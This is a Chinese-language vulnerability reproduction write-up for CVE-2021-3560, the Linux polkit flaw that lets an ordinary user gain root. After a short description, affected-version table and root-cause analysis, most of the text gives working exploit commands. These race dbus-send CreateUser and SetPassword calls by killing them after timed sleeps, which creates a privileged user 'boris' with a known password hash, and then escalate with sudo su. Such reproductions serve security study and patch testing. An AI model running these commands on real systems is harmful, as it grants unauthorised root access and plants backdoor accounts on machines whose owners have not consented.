提权：CVE-2021-3560

一、漏洞名称：

Linux Polkit权限提升漏洞

二、漏洞编号：

CVE-2021-3560

三、漏洞描述：

由于linux的polkit组件错误处理了异常情况，导致权限提升。该漏洞能够使普通用户获取到root权限。

四、影响版本：

目前已知的版本情况。

Distribution	Vulnerable?
RHEL 7	No
RHEL 8	Yes
Fedora 20 (or earlier)	No
Fedora 21 (or later)	Yes
Debian 10 (“buster”)	No
Debian testing (“bullseye”)	Yes
Ubuntu 18.04	No
Ubuntu 20.04	Yes

五、漏洞分析

当一个命令被发送到目标程序处理时，消息发送方会被分配一个唯一总线名称（感觉有点像sessionid的意思）。当需要polkit去做权限校验时，polkit会通过唯一总线名称去查询命令发送方的UID，如果此时唯一总线名称已经不存在了，polkit错误的处理了这种情况，默认UID为0即root用户的UID。

六、实验环境及准备：

RHEL8/unbuntu20.04.2虚拟机

七、复现步骤：

以普通用户登录系统

当前系统不存在boris用户
先ssh localhost查看命令执行需要的真实时间

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

取个中间值0.025s进行中断，多执行几次确保成功

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.025s ; kill $!

确认boris用户新建成功

注意：记住这边的uid，用于更换创建密码命令中的uid值。

同样的方法去设置密码，前提是生成密码的hash值(test就是密码)

openssl passwd -5 test

将生成的hash值替换到下面的命令中，同样先看下命令实际运行需要时间，然后取半

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'$5$geGliwuzqzj8Kt8A$bldvU0ZBN.hEnK.MtlWDG1q9A8nnkJ422mJcPZP1Nz.' string:GoldenEye & sleep 0.0015s ; kill $!

boris用户创建成功，密码是test

sudo su 提权

提权成功！